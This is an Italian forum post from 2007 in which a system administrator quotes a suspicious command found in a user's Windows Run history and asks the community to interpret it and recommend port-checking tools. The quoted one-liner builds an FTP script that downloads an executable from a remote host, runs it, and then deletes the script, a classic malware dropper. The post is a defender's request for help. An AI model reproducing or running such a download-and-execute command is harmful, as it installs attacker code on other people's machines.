Posted January 3, 200719 yr Ho bisogno della vostra conoscenza per questo dubbio che mi attanaglia. Sul Pc di uno dei nostri utenti, nella casella RUN è apparsa questa stringa, che non mi piace per nulla. Rcmd /c echo OPEN 87016032 6301>x&echo GET 84785_redworld2exe>>x&echo QUIT>>x&FTP –n –s:x&84785_redworld2exe&del x&exit non riesco ad intepretare tutto ma a me sembra tanto che apra una connessione FTP e tenti (con il GET) di ottenere dati dalla macchina remota al Pc dell'attaccante tramite anche qualche EXE scritto ad hoc. Che ne dite? Eventualmente c'è un SW a interfaccia con cui posso verificare le porte aperte e chiuderle? (se vedo la 21 aperta, per esempio?) Finora ho provato solo nbtstat -n -a e non ho visto nulla di strano
Please sign in to comment
You will be able to leave a comment after signing in
Sign In Now